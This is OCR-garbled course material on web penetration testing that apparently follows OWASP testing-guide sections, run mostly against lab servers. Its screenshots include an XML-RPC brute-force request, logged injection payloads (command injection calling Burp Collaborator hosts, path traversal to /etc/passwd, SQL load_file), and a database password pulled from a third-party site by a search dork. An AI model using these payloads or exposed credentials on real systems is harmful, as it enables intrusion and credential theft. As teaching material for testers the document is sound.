[ & 3 Synchronize | [5 g [ & (5P Queue ~ Transfer Settings Default - @~
B 192.168.222.151 [ New Session

- [ Desktop '624-' ':mz Tl /"e, X v ilE

B / - 192.168.222.151 - WinSCP - O

e

Upload pllof Edit -~ S | Deonartioc LN P L R Download o |12 cdiv o $¢ 228s 2%
Error ? X ]
C\Users\ma
A

Name e Can't open file 'C:\Users\manhpham\Desktop\c99.php'. Size Changed

2 Cross Site

= CyberSecu

% dit' System Error. Code: 225. ]

o Operation did not complete successfully because the file contains a ;

El goat.html virus or potentially unwanted software !

ManhPhar |

mtea_1gkil

[¢] mutillidae

New Text § Abot || Retry || Skip || Skipall || Help |

@) next 3 iten ; —

note for santoku.txt 1KB Text Document 1‘-

E] phpvulnweb.html 291 KB HTMLFile 2

5] SQL Injection Attacks.. 6,575KB PDF File 1

ﬂTinyTake by MangoA... 2KB  Shortcut 1v

< > < >
0B of 59.3 MB in 0 of 19 1hidden 0Bof0Bin0of0

WebDAV 3 0:02:54

Recommend using Secure protocol such as: FTPs, SFTP, SSH, TLS/SSL,VPN,...




Change default user & password

Warning: Never expose this UM to an untrusted network?
Contact: msfdevlatlImetasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin

Password:

Last login: Sun Feb 4 09:40:33 EST 2018 from 192.168.222.148 on pts/1

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software:
the exact distribution terms for each program are described in the
individual files in susr/sharesdoc/*/copyright.

ABSOLUTELY NO WARRANTY, to the extent permitted by

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/

No mail.

msfadmin@metasploitable:™§ _




2. Test Application Platform Configuration

Configuration review and testing is a critical task, while the typical web and application server
installation will spot a lot of function (like application examples, documentation, test pages), what
is not essential should be removed before deployment to avoid post install exploitation.

Black Box Testing and
Example Sample/known Files

and Directory

Many web servers and application servers provide, in a default installation, sample applications
and files that are provided for the benefit of the developer and in order to test that the server is
working properly right after installation.

However, many default web server applications have been later known to be vulnerable or
information disclosure.

Example:

&~ — O ‘ ﬂ wordpress.com/xmlrpc.php?rsc ‘ﬂ{ ‘ == L @

<?xml version="1.0" encoding="UTF-8"?>
- <rsd xmIns="http://archipelago.phrasewise.com/rsd" version="1.0">
- <service>
<engineName>WordPress</engineName=>
<engineLink>=https://wordpress.org/ </engineLink>
<homePageLink=>http://wordpress.com</homePageLink=>
- <apis>
<api apiLink="https:/ /wordpress.com/xmlrpc.php" preferred="true"
blogID="1" name="WordPress"/>
<api apiLink="https:/ /wordpress.com/xmlrpc.php" preferred="false"
blogID="1" name="Movable Type"/>
<api apiLink="https:/ /wordpress.com/xmlrpc.php" preferred="false"
blogID="1" name="MetaWeblog"/>
<api apiLink="https:/ /wordpress.com/xmlrpc.php" preferred="false"
blogID="1" name="Blogger"/>
<api apiLink="https:/ /twitter-api.wordpress.com/" preferred="false"
blogID="" name="Twitter"/>
</apis>
</service>
° </rsd=
Wordpress version show in readme

e Brute force attack / Denial of Service attack in Wordpress’s xmlrpc.php




ﬁ WordPress > ReadMe X 0 192.168.222.136/wordpress/xrm X

< C @ ® 192.168.222.136/wordpress/xmirpc.php

XML-RPC server accepts POST requests only.



il

Request

Raw | Params | Headers | Hex | XML

Response

Raw | Headers | Hex | XML

Target: httpi/192.168.222.136 | #] | 2 |

POST /wordpress/xmlrpe.php HTTP/L.1 A HITP/L.1 200 OK a
Host: 192.168.222.136 r Date: Tue, 06 Feb 2018 03:57:40 GMT r
User-Agent: curl/7.47.0 Server: Apache/2.2.14 (Ubuntw) mod_mono/2.4.3 PHP/S.3.2-lubuntud.30 with Suhosin-Patch proxy_html/3.0.1
Accept: */* mod_python/3.3.1 Python/2.€.5 mod_ss1/2.2.14 OpenSSL/0.9.6)k Phusion_Passenger/4.0.38 mod_perl/2.0.4
Content-Length: 226 Perl/vs.10.1
X-Powered-By: PHP/S.3.2-lubuntud.30
<2xml version="1.0" encoding="iso-8859-1"7> Connection: close
<methodCall> Content-Length: 166
Hello<, Vary: Accept-Encoding
<params> Content-Type: text/xml
<param><value></value></paran>
<param><value></value></param> <2xml version="1.0"7>
</params> <methodResponse>
</methodCall> <params>
<param>
<value>
<string>Hello! </string>
</value>
</param>
</params>
</methodResponse>
Go Cance <|v > Target: httpi/192.168.222.136 | 4| | 2 |
Request Response
Raw | Params | Headers | Hex | XML Raw | Headers | Hex | XML
POST /wordpress/xulrpe.php HTTP/L.1 A HITP/L.1 200 OK A
Host: 192.168.222. r Date: Tue, 06 Feb 2018 04:05:13 GMT r
User-Agent: curl/7.47.0 Server: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 PHP/S.3.2-lubuntud.30 with Suhosin-Patch proxy_html/3.0.1
Accept: */* mod_python/3.3.1 Python/2.6.5 mod_ss1/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4
Content-Length: 252 Perl/vs.10.1
X-Powered-By: PHP/S.3.2-lubuntud.30
<2xml version="1.0" encoding="iso-8855-1"7> Connection: close
<methodCall> Content-Length: 422
P.g logs< Vary: Accept-Encoding
<params> Content-Type: text/xml
<param><value>admin</value></paran>
<param><value>admin</value></param> <2xml version="1.0"2>
</params> <methodResponse>
</methodCall> <fault>
<value>
<struct>
<member>
<name>faultCode </nane>
<value><int>-32601</int></value>
</member>
<member>
<name>faultString</nane>
<value><str error. method wp.get does not exist.</string></value>
</member>
</struct>
</value>
</faule>
</methodResponse>
L b
v v

More information at:

https://isc.sans.edu/diary/Wordpress+%22Pingback%22+DDoS+Attacks

/17801 https://hackerone.com/reports/96294

https://github.com/1N3/Wordpress-XMLRPC-Brute-Force-

Exploit/blob/master/wordpress- xmlrpc-brute-v2.py

https://testpurposes.net/2016/11/01/wordpress-xmlrpc-brute-force-attacks-via-burpsuite/

Comment on source code review

It is very common and even recommended



ﬁ ® view-source:http://192.168.222.136/mutillidae/index.php

<!—-- I think the database password 1s set to blank or perhaps Samural.
It depends on whether you installed this web app from irongeeks site or
are using 1t inside Kevin Johnsons Samural web testing framework.
It i1s ok to put the password in HTML comments because no user will ever see
this comment. I remember that security instructor saying we should use the
framewvork comment symbols (ASP.NET, JAVA, PHP, Etc.)
rather than HTML comments, but we all know those
security instructors are just making 211 this up. --> <!-- End Content
</blockguote>
</td>
</tr>

-—>



Configuration review
Some common guidelines should be taken into account:

e Only enable server modules that are needed for application.
e Handle server errors code with custom-made pages.
e Make sure server software runs with minimize privileges in the operating system.

/
L

Name Size Changed Rights Owner
. 5/21/2012 2:31:37 AM PWXF-XT-X www-data
vulnerabilities 5/21/2012 2:22:36 AM PWXT-XT-X www-data
hackable 5/21/2012 2:22:36 AM PWXT-Xr-X www-data
external 5/21/2012 2:22:36 AM PWXT-XT-X www-data
dvwa 5/21/2012 2:22:36 AM PWXT-X-X www-data
docs 5/21/2012 2:22:36 AM PWXT-Xr-X www-data
config 5/21/2012 2:23:35 AM PWXT-Xr-X www-data
" setup.php 2KB 6/7/2010 10:58:00 AM rw-r--r-- www-data
3] security.php 3KB 3/16/2010 12:56:22 PM rw-r--r-- www-data
robots.txt 1KB  3/16/2010 12:56:22 PM PW-F-=F-- www-data
README.txt 5KB 3/16/2010 12:56:22 PM rw-r--r-- www-data
| phpinfo.php 1KB 3/16/2010 12:56:22 PM rw-r--r-- www-data
php.ini 1KB  7/6/2009 3:31:50 AM IW-r--r-- www-data
“logout.php 1KB 3/16/2010 12:56:22 PM rw-r--r-- www-data
"Jlogin.php 3KB 5/21/2012 2:52:33 AM rW-r--r-- www-data
"instructions.php 2KB 3/16/2010 12:56:22 PM rw-r--r-- www-data
"index.php 2KB 5/21/2012 2:51:49 AM rw-r--r-- www-data
"ids_log.php 1KB  3/16/2010 12:56:22 PM PW-F--r-- www-data
| | favicon.ico 2KB  9/6/2010 10:59:42 PM rw-r--r-- www-data
COPYING.txt 33KB  3/16/2010 12:56:22 PM rW-r--r-- www-data
CHANGELOG.txt 5KB 6/7/2010 7:55:14 AM rW-r=-r-- www-data
" about.php 3KB 8/26/201011:15:16 PM rw-r--r-- www-data

e Make sure the server software logs properly both legitimate access and errors.



Name Size Changed Rights Owner
ef 2/5/2018 3:30:12 PM FWXT-Xr-X root
| ] error.log.10.gz 1KB 5/21/2012 12:45:08 PM rw-r--r-- root
| ] error.log.9.gz 1KB  9/21/2017 5:47:26 PM W-r----- root
D error.log.8.gz 1KB 10/10/2017 5:38:20 PM rw-r----- root
(] error.log.7.gz 1KB 10/20/2017 5:26:14 PM rw-r----- root
D error.log.6.gz 1KB 11/14/2017 6:31:56 PM rw-r----- root
(] error.log.5.gz 1KB  11/22/2017 €:53:33 PM rw-r----- root
| ] error.log.4.gz 1KB 12/4/2017 6:32:14 PM rw-r----- root
D error.log.3.gz 1KB  12/11/2017 6:54:45 PM rw-r----- root
| ] errorlog.2.9z 1KB 12/22/2017 6:28:40 PM rw-r----- root
| ] error.l 1KB  1/17/2018 6:42:56 PM W-r----- root
o} 86 KB 2/5/2018 3:30:42 PM w-r----- root
| ] access.log.7.gz 5KB 9/21/2017 5:47:26 PM rw-r--r-- root
D access.log.b.gz 3KB 10/10/2017 5:38:20 PM rw-r----- root
(] access.log.5.gz 2KB 10/20/2017 5:26:14 PM rw-r----- root
Ij access.log.d.gz 2KB 11/22/2017 6:53:33 PM rw-r----- root
| ] access.log.3.9z 2KB 12/4/2017 6:32:14 PM rw-r----- root
| ] access.log.2.gz 2KB 12/22/2017 6:28:40 PM rw-r----- root
D access.log.1 6KB 1/17/2018 6:42:56 PM rw-r----- root
access.log 204KB 2/4/2018 10:00:32 PM w-r----- root

e Make sure that the server is configured to properly handle overloads and prevent Denial of
Service attacks.

Logging

Logging is an important asset of the security of an application architecture, since it can be used
to detect flaws in application, logs are typically properly generated by web and server software.



/var/log/

Name a Size Changed Rights Owner
e .. 5/21/2012 4:30:19 AM PWXT-XT-X root
apache2 2/5/2018 6:34:52 PM PWXT-X--- root
apparmor 4/8/2008 4:39:29 AM PWXT-Xr-X root
apt 9/21/2017 5:47:26 PM PWXT-Xr-X root
dist-upgrade 4/22/2008 1:07:31 PM PWXT-XT-X root
fsck 3/17/2010 5:59:33 AM PWXT-XT-X root
installer 3/17/2010 6:15:03 AM PWXT-Xr-X root
mysq| 3/17/2010 9:09:40 PM TWXr-5--~ mysq|
news 3/17/2010 6:15:50 AM PWXT-Sr-X news
postgresq| 2/5/2018 6:34:52 PM rwxrwxr-t root
proftpd 4/28/2010 1:26:44 PM PWXT-Xr-X root
samba 2/5/2018 6:34:52 PM PWXr-X--- root
tomcat5.5 12/8/2008 2:17:20 AM PWXT-X--- tomcat55
=| auth.log 104KB 2/5/2018 6:51:03 PM rW-r--r-- syslog
| | boot 0KB 5/21/2012 12:45:06 PM rw-r--r-- root
|| btmp 0KB 2/5/2018 6:34:52 PM rW-rw-r-- root
|| btmp.1 0KB 1/17/2018 6:42:36 PM rW-rw-r-- root
=| daemon.log 546 KB 2/5/2018 6:45:36 PM rw-r--r-- syslog

Sensitive information in logs

Some applications might, for example use GET requests to forward form data which will be
viewable in the server logs. This means that server logs might contain sensitive information (such
as usernames as passwords, or bank account details). This sensitive information can be misused
by an attacker if logs were to be obtained by an attacker, for example, through administrative
interfaces or known web server vulnerabilities or misconfiguration (like the well-known server-
status misconfiguration in Apache-based HTTP servers ).

Log Location

Try to keep logs in a separate location, and not in the web server itself. This also makes it easier
to aggregate logs from different sources that refer to the same application (such as those of a web
server farm) and it also makes it easier to do log analysis (which can be CPU intensive) without
affecting the server itself.

Log Storage

In UNIX systems, logs will be located in /var (although some server installations might reside in /opt or

/ust/local) and it is thus important to make sure that the directories that contain logs are in a
separate partition. In some cases, and in order to prevent the system logs from being affected, the



log directory of the server software itself (such as /var/log/apache in the Apache web server) should
be stored in a dedicated partition.

Log rotation



Most servers (but few custom applications) will rotate logs in order to prevent them from filling
up the file system they reside on. The assumption when rotating logs is that the information in
them is only necessary for a limited amount of time.

This feature should be tested in order to ensure that:

o Logs are kept for the time defined in the security policy, not more and not less.

e Logs are compressed once rotated (this is a convenience, since it will mean that more logs will be
stored for the same available disk space)

e File system permission of rotated log files are the same (or stricter) that those of the log files itself.
For example, web servers will need to write to the logs they use but they don’t actually need to
write to rotated logs, which means that the permissions of the files can be changed upon rotation to
prevent the web server process from modifying these.

Some servers might rotate logs when they reach a given size. If this happens, it must be ensured
that an attacker cannot force logs to rotate in order to hide its tracks.

Log contents

e Do the logs contain sensitive information?

e Are the logs stored in a dedicated server?

e (Can log usage generate a Denial of Service condition?

e How are log backups preserved?

o [s the data being logged data validated (min/max length, chars etc) prior to being logged?
e How are logs reviewed? Can admin use these review to detect targeted attack?

e How are they rotated ? are logs kept for the sufficient time?

| [ /var/log/apache2/error.log - root@192.168.222.136 - Editor - WinSCP - O X

B & X@ 9 &8 e #=| | Encoding ~ [] Color~ & @

[Mon Mar @5 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php'+sleep(20.to_i)+", referer: http:~
[Mon Mar 05 ©0:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php‘+eval(compile('for x in range(1):
[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/eval(compile( 'for x in range(1):\\n import time\\n time.sleep(20)

| [Mon Mar @5 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref 1.php'.sleep(20).", referer: http://19
[Mon Mar 05 ©0:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php{${sleep(20)}}, referer: http://1¢
[Mon Mar @5 ©0:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/r80km3vuy@4919nruc@luxqfabgwdosfk2aqz.burpcollaborator.net, refere
[Mon Mar 05 ©0:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/http:, referer: http://192.168.222.136/bWAPP/portal.php

[Mon Mar 85 ©0:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php|nslookup -q=cname zcfsqbz2288hShr

[Mon Mar @5 ©0:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php'" @&nslookup -g=cname m4rfiyrpuvi

|| [Mon Mar 85 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php&nslookup -q=cname Sagyohx80eén3n
||[Mon Mar @5 ©0:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php|echo 88gtq33315 cx8@dj43pal|a #'
[Mon Mar 05 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php&echo hyeikmaavo 209ngu8tnr&, ref
[Mon Mar 85 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php"|echo 93hsbxp295 uwuslqz3ng ||, t
[Mon Mar @5 ©0:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php'|echo cr3gb4juux pxodjasmdd #xzw
[Mon Mar @5 ©0:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php|ping -n 21 127.0.0.1|| ping -c 2!
[Mon Mar 85 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/ww/bWAPP/insecure_direct_object_ref_1.php|ping -c 21 127.0.0.1||x, referer
[Mon Mar @5 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php&ping -n 21 127.0.0.1&, referer: |
[Mon Mar @5 ©0:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php'|ping -c 21 127.0.0.1 #, referer:
[Mon Mar @5 ©0:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/insecure_direct_object_ref_1.php"|ping -n 21 127.0.0.1 ||, referer
[Mon Mar @5 ©0:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/wwae/bWAPP/. . AN, A\ AN o000 VLA
[Mon Mar @5 00:10:21 2018] [error] [client 192.168.222.1] File does not exist: /var/www/bWAPP/c:\\windows\\win.ini, referer: http://192.168.222.136/bWAPP/portal

[Mon Mar @5 0@: 2018] [error] [client 192.168.222.1] script '/var/wwai/bWAPP/insecure_direct_object_ref_1.php..\\..\\. .\ \. 0. 0. 0L 0L ALV
[Mon Mar @5 1 2018] [error] [client 192.168.222. 1] EAVERST RVL:S ST RA-Y (V0 i el =) L1\l S S S SO S Y .. w.fof../../../etc/passwd HTTP/1.1
LT L - R = - =T ot I 0 o e Y- i O ) [ o B Lo T o VS B S RAYE /v /DWAPP fetc, referer: http://192.168.222.136/bWAPP/portal.php

D’ /var/log/auth.log - root@192.168.222.136 - Editor - WinSCP

R B & XE 9 g2 €. Encoding ~ [] Color~ {8 @

Mar 4 20:04:52 owaspbwa CRON[6009]: pam_unix(cron:session): session closed for user root

4 20:09:01 owaspbwa CRON[6481]: pam_unix(cron:session):

session closed for user root




[ /var/log/modsec_audit.log - root@192.168.222.136 - Editor - WinSCP - [m] X

ERIEE X@aE 9 &8 €. 7 & | Encoding - [] Color~ & | @
Response-Body-Transformed: Dechunked ~
Producer: ModSecurity for Apache/2.7.4 (http://www.modsecurity.org/).
Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.3@ with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ss1/2.2.14 Open
Engine-Mode: "DETECTION_ONLY"

--f2e35b57-Z--

--f2e35b57-A--

[01/Feb/2018:23:00:59 --0500] WnPie38AAQEAAAgZSOUAAAAT 192.168.222.1 51346 192.168.222.136 80

--f2e35b57-B--

POST /WebGoat/(select%20load_file( '%5c%5c%5c%5cisebssfkvf8hanff7q7d4ghuklqecm@d21ttgj48.burpcollaborator.net%5c%5csfu’))?Screen=75&menu=900 HTTP/1.1
Host: 192.168.222.136

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Referer: http://192.168.222.136/WebGoat/attack?Screen=75&menu=900

Content-Type: application/x-www-form-urlencoded

Content-Length: 81

(@11 T-Hl ) SESSTONID=607D351CEQE629CE1CF5BAFA8BO3A5BO; acgroupswithpersist=nada; user="eW91YXJ1dGh1d2Vha2VzdGxpbms="HEIGIYIL GraA74 R pAY VU aclaya o) (o g3770)

--f2e35b57-C--
field1=1118&QTY4=18&QTY2=1&QTY3=1&SUBMIT=Purchase&QTY1=1&field2=4128+3214+0002+1999
--f2e35b57-F--

HTTP/1.1 400 Bad Request

Content-Length: @

Via: 1.1 127.0.1.1

C(onnection : close

Line: 53471/564758 Column: 115 Character: 59 (0x3B) Encoding: 1252 (ANSI - L&

3. Test File Extensions Handling for Sensitive Information

File extensions are commonly used in web servers to easily determine which technologies /
languages / plugins must be used to fulfill the web request.

Black box testing:

Submit http[s] requests involving different file extensions and verify how they are handled.
These verifications should be on a per web directory basis.

The following file extensions should NEVER be returned by a web server, since they are related
to files which may contain sensitive information, or to files for which there is no reason to be

served.
e .asa
e .inc

Using google hack, easy to find them, such as:

e cxt:asa inurl:www.maybole.org

C | @ Secure | https:;//www.maybole.org/global.asa

<SCRIPT LANGUAGE=VBScript RUNAT=Server>
Sub Application_OnStart
‘==FrontPage Generated - startspan==
Dim FrontPage_UrlVars(1)
"--Project Data Connection
Application("Databasel_ConnectionString™) = "DRIVER={Microsoft Access Driver (*.mdb
FrontPage_UrlVars(@) = "Databasel_ConnectionString™
Application("Databasel ConnectionTimeout™) = 15
Application("Databasel_CommandTimeout™

3;DBQ=URL=cgi-bin/database/postcards.mdb;UID=maybole ; PWD=eamg

Application("Databasel_Cursorlocatio
Application("Databasel RuntimeUserName’
Application("Databasel RuntimePassword



The following file extensions are related to files which, when accessed, are either displayed or
downloaded by the browser. Therefore, files with these extensions must be checked to verify that
they are indeed supposed to be served (and are not leftovers), and that they do not contain sensitive
information.



e 7ip, .tar, .gz, .tgz, .rar, .... (Compressed) archive files

e java: No reason to provide access to Java source files

o .txt: Text files

e pdf: PDF documents

e .doc, .rtf, xls, .ppt, ...: Office documents

e .bak, .old and other extensions indicative of backup files (for example: ~ for Emacs backup files)

For more information, access to this link: http://filext.com/

We can mix some below techniques for solving this problem:

e  Vulnerability scanner
:~# nikto -h https://aspdotnetapp.infosecaddicts.com
Nikto v2.1.6

Target IP: 104.25.166.6
Target Hostname: aspdotnetapp.infosecaddicts.com
Target Port:

+ SSL Info: Subject: /OU=Domain Control Validated/OU=PositiveSSL Multi-D
omain/CN=ss1373680.cloudflaressl.com

Ciphers: TLS AES 256 GCM SHA384

Issuer: /C=GB/ST=Greater Manchester/L=Salford/0=COMODO CA L

imited/CN=COMODO ECC Domain Validation Secure Server CA 2
+ Message: Multiple IP addresses found: 104.25.166.6, 104.25.167.6
+ Start Time: 2019-08-06 12:23:33 (GMT-4)

+ Server: cloudflare

+ The X-XSS-Protection header is not defined. This header can hint to the user a
gent to protect against some forms of XSS

+ The site uses SSL and the Strict-Transport-Security HTTP header is set with ma
X-age=0.

+ Expect-CT is not enforced, upon receiving an invalid Certificate Transparency
Log, the connection will not be dropped.

e Spider tools




2 https://aspdotnetapp.infosecaddicts.com Hoct Mathad | 11R1

0y 2 https://aspdotnetapp.infosecaddicts.com/
[) Defaultaspx Remove from scope

VS - . 17d=2)
[@) d=Zn9Gc2IUfVDONBoIEjBF470pha6VODCp Spider this host 2d=tn

[) d=tmoudBcXuP1FvWPk4CIVeD7VxYHgVQF3 d=l
» i3 bookdetail.aspx d=2
v T cdn-cgi Engagement tools [Pro version only) P> [d=3
Y apps = d=4
Compare site maps -
Y| body db h d=5
[©) nWFfBVgKuwdbmKbTOKDDOGualyc.js Expand branc d=6
¥ I head Expand requested items d=7
[2) ckgyOPiWGjg9puHUCMTwg3BmE2U. js Collapse branch d=8
¥ | images Delete host d=9
O/ Copy URLs in this host
» 0 https://dvws Linfosecaddicts.com Copy links in this host

» O https://infosecaddicts.com
» O https://phpapp.infosecaddicts.com

Save selected items

Show new site map window

TL'

Site map help

Date: Tue. 06 BRopoa 2019 03:54:06 GHT

e  Mirroring tools

:~# httrack http://104.25.167.6 --mirrorlinks
There is an index.html and a hts-cache folder in the directory
A site may have been mirrored here, that could mean that you want to update it
Be sure parameters are ok

Press <Y><Enter> to confirm, <N><Enter> to abort
Y
WARNING! You are running this program as root!

It might be a good idea to run as a different user

Mirror launched on Tue, 06 Aug 2019 12:33:53 by HTTrack Website Copier/3.49-2 [X
R&C0'2014]

mirroring http://104.25.167.6 with the wizard help..

Done.104.25.167.6/ (3583 bytes) - 403

Thanks for using HTTrack!

s~ I

e Manual access



Gray box testing

Performing white box testing against file extensions handling amounts to checking the
configurations of web server(s) / application server(s) taking part in the web application
architecture, and verifying how they are instructed to serve different file extensions. If the web
application relies on a load-balanced, heterogeneous infrastructure, determine whether this may
introduce different behaviour.

4. Review Old, Backup and Unreferenced Files for Sensitive Information

While most of the files within a web server are directly handled by the server itself it isn't
uncommon to find unreferenced and/or forgotten files that can be used to obtain important
information about either the infrastructure or the credentials. Most common scenarios include the
presence of renamed old version of modified files, inclusion files that are loaded into the language
of choice and can be downloaded as source, or even automatic or manual backups in form of
compressed archives. All these files may grant the pentester access to inner workings, backdoors,
administrative interfaces, or even credentials to connect to the administrative interface or the
database server.

Black Box Testing
Testing for unreferenced files uses both automated and manual techniques:

e Enumerate all of application’s pages and functionality: This can be done manually using a browser,
or using an application spidering tool. Most applications use a recognisable naming scheme, and
organise resources into pages and directories using words that describe their function. From the
naming scheme used for published content, it is often possible to infer the name and location of
unreferenced pages. For example, if a page viewuser.asp is found, then look also for edituser.asp,
adduser.asp and deleteuser.asp. If a directory /app/user is found, then look also for /app/admin and
/app/manager.

I
Y|  cdn-cgi
Y1 apps
Y| body
[8) nWFfBVgKuw9bmKbTOKDDOGualyc.js
Y1 head
[8) ckgyOPiWGjg9puHUcMTwg3BmE2U.js
[ robots.txt
[/
[ admin-ajax.php
¥ | admin-ajax.php



e  Other clues in published content: Many web applications leave clues in published content that can
lead to the discovery of hidden pages and functionality. These clues often appear in the source code
of HTML and JavaScript files. The source code for all published content should be manually
reviewed to identify clues about other pages and functionality.

e = {"url":"https:\/\/infosecaddicts.com\/wp-admin\/admin-ajax.pt

Another source of clues about unreferenced directories is the /robots.txt file used to
provide instructions to web robots.

<« c @© (0 & https://infosecaddicts.com/robots.txt

User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

e Information obtained through server vulnerabilities and misconfiguration



<« cC @ (O & https://phpapp.infosecaddicts.com/images/

Index of /images

Name Last modified Size Description
& Parent Directory -
Compaq.jpg  2018-09-18 16:18 19K
[?) Thumbs.db 2018-09-18 16:18 235K
al jog.jpg 2018-09-18 16:18 16K
&) a2.jpg 2018-09-18 16:18 15K
&) a3.ipg 2018-09-18 16:18 15K
&) ad.ipg 2018-09-18 16:18 10K
&) a5.jpg 2018-09-18 16:18 34K
acer.jpg 2018-09-18 16:18 5.3K
cl.pg 2018-09-18 16:18 59K
c2.pg 2018-09-18 16:18 7.1K
c3.pg 2018-09-18 16:18 6.3K
c4.jpg 2018-09-18 16:18 6.7K
c5.ipg 2018-09-18 16:18 8.0K
cb.ipg 2018-09-18 16:18 1.9K
dl.jpg 2018-09-18 16:18 6.3K
d2.jpg 2018-09-18 16:18 6.3K
d3.jpg 2018-09-18 16:18 2.2K
d4.jpg 2018-09-18 16:18 1.2K
d5.jpg 2018-09-18 16:18 3.5K

e Use of publicly available information: google hack, shodan.io

S. Enumerate Infrastructure and Application Admin Interfaces

Black box and Gray box Testing

The following describes vectors that may be used to test for the presence of administrative
interfaces. These techniques may also be used for testing for related issues including privilege
escalation and are described elsewhere in this guide in greater detail:

e Directory and file Enumeration - An administrative interface may be present but not visibly
available to the tester. Attempting to guess the path of the administrative interface may be as simple



as requesting: /admin or /administrator etc.. A tester may have to also identify the filename of the

administration page. Forcibly browsing to the identified page may provide access to the interface.
LI/
¥ [~ cdn-cgi
¥ [ apps
¥ [T body
nWFfBVgKuw9bmKhTOKDDOGualyc.js
¥ [T head
ckgy0OPiWGjg9puHUcMTwg3BmE2U.js
[ robots.txt
v I wesadmin,
0/
[ admin-ajax.php
¥ [T admin-ajax.php




Comments and links in Source - Many sites use common code that is loaded for all site users. By
examining all source sent to the client, links to administrator functionality may be discovered and
should be investigated.

e = {"url":"https:\/\/infosecaddicts.com\/wp-admin\/admin-ajax.pt

<« c @ (@ & https://infosecaddicts.com/robots.txt

User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

Reviewing Server and Application Documentation - If the application server or application is
deployed in its default configuration it may be possible to access the administration interface using
information described in configuration or help documentation. Default password lists should be
consulted if an administrative interface is found and credentials are required.



wp-admin

B ie-

D & |, FindFiles | T

£ New ~

/owaspbwa/owaspbwa- svn/var/www/wordpress/wp-admln/

i

Name a Size Changed Rights Owner
e o 3/21/2012 3:12:35 AM PWXT-XT-X www-data
images 3/21/2012 3:12:35 AM PWXT-Xr-X www-data
import 3/21/2012 3:12:35 AM PWXI-Xr-X www-data

~|admin.php 3KB 3/22/2010 3:12:30 AM FWXr--r-- www-data
M_v?]admin-db.php 10KB 3/22/2010 3:12:30 AM TWXr--r-- www-data
Mj] admin-footer.php 1KB 3/22/2010 3:12:30 AM TWXr--r-- www-data
M_?]admin-functions.php 57KB  3/22/2010 3:12:30 AM rWXr--r-- www-data
~|admin-header.php 10KB  3/22/2010 3:12:30 AM PWXT--T-- www-data
£ bookmarklet.php 3KB 3/22/2010 3:12:30 AM rWXr--r-- www-data
jl categories.php 6KB 3/22/2010 3:12:30 AM TWXr--r-- www-data
~edit.php 8KB 3/22/2010 3:12:30 AM FWXr--r-- www-data
e edit-comments.php 8KB 3/22/2010 3:12:30 AM TWXr--r-- www-data
Mj] edit-form.php 4KB 3/22/2010 3:12:30 AM rWXr==r-- www-data
M_?] edit-form-advanced.php 10KB  3/22/2010 3:12:30 AM rWXr--r-- www-data
Mj] edit-form-ajax-cat.php 1KB 3/22/2010 3:12:30 AM TWXr--r-- www-data
£ edit-form-comment.php 5KB 3/22/2010 3:12:30 AM TWXr--r-- www-data
m_?l edit-link-form.php 12KB  3/22/2010 3:12:30 AM TWXr--r-- www-data

Po """ Wpinez 168222 1% T « w e wmw o 122221 w

- _ J

_[m Params | Headers | Hex |

/vp»l gin_php HITP/L.1

ie: dbx-postmeta=grabit=0-,1-,2-,
Connection: close
Upgrade-Tnsecure-Requests: 1

3-,4-,5-,6-cadvancedstuff=0-,1-,2-;

PHPSESSID=etBetmikpnStmph7j36avnd fvl;

acopendivids=swingset,jotto,phpbbl,re

ist=nada

dmine; acgroupswithpersis

log=adminépwd=adminssubmit=Logint$C2$BBaredirect_to=$2Fwordpresst2Fup-aduint2F
80 http://192.168.222.136 POST login.php v 302 799 HTML php 192.168.222.136 wordpressuser_2. I
82 http://192.168.222.136 | GeT -admin/ 200 10817 HTML Broken WordPress &rsa... 192.168.222.136
84 http://192.168.222.136 GET Iwordpress/wp-includes/s/fat js 304 359 script s 192.168.222.136
85 http://192.168.222.136 GET Iwordpress/wp-includes/jsitw-sack js 304 359 script s 192.168.222.136 |
